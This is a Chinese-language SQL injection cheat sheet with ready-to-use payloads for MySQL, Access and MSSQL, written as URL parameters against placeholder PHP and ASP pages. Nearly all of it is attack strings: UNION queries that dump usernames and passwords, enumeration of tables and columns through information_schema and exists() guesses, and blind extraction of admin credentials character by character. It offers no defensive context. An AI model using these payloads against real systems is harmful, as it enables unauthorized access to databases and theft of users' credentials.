#SQL注入

MYSQL篇
1.内置函数和变量

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@@datadir,version(),database(),user(),load_file(),outfile() 

2.利用concat(),group_concat(),concat_ws()拼接查询结果
实例:

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xxx.php?id=1 and 1=2 union select 1,
group_concat(username,0x3a,password),3 from user

3.使用内建数据库查询表段和字段
查表段:

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xxx.php?id=1 and 1=2 union select 1,2,table_name from 
(select * from information_schema.tables where table_schema=数据库名的hex
order by table_schema limit 0,1)t limit 1–

查字段:

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xxx.php?id=1 and 1=2 union select 1,2,column_name from 
(select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 1,1)t limit 1–

这里可以再结合下concat的拼接功能

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xxx.php?id=1 and 1=2 union select 1,2,group_concat(column_name,0x20) 
from (select * from information_schema.columns where table_name=表名的hex
and table_schema=数据库名hex值 order by 1 limit 0,n)t limit 1–
[n表示第n条数据]

Access篇

猜表名

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*.asp?id=1 and exists (select * from admin)

猜列名

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*.asp?id=1 and exists (select password from admin)

Order by查询

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*.asp?id=1 order by 3

union 查询

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*.asp?id=1 union select 1,password,3 from admin

不支持union的情况
先判断内容的长度

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*.asp?id=132 and (select top 1 len(user) from admin) >5

然后一个一个猜

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*.asp?id=132 and (select top 1 asc(mid(user,1,1)) from admin)>97

例如确定asc(mid(user,1,1))的值是97,即可判断出user的第一个字符为a
确定了之后继续从第二个位置猜

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*.asp?id=132 and (select top 1 asc(mid(user,2,1)) from admin)>97

以此类推

MSSQL篇
基于报错的MSSQL注入:
判断是否是MSSQL

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'and exists (select * from sysobjects) --

如果返回正常,就说明是MSSQL,否则当sysobjects不存在,是会报错的。

猜表名:

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'and exists(select * from admin)--

如果存在,会返回正常页面,否则报错,就是不存在。

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